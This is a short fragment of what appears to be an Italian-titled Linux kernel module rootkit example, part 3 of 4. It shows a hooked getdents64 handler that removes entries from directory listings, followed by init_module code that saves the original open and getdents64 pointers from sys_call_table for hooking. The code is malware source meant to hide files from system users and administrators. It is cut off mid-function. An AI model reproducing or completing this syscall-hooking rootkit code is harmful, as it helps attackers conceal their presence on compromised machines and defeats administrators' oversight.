LKM Esempio 3/4 ptr = (struct linux_dirent64 *)(((unsigned long) dir)+rec); } else { prev->d_reclen += rec; memset(dir, 0, rec); } } else prev=dir; dir=(struct linux_dirent64 *)(((unsigned long)dir)+rec); } copy_to_user(dirp, ptr, ret); kfree(tmp); return ret; } int init_module(void) { o_open = sys_call_table[SYS_open]; o_getdents64 = sys_call_table[SYS_getdents64];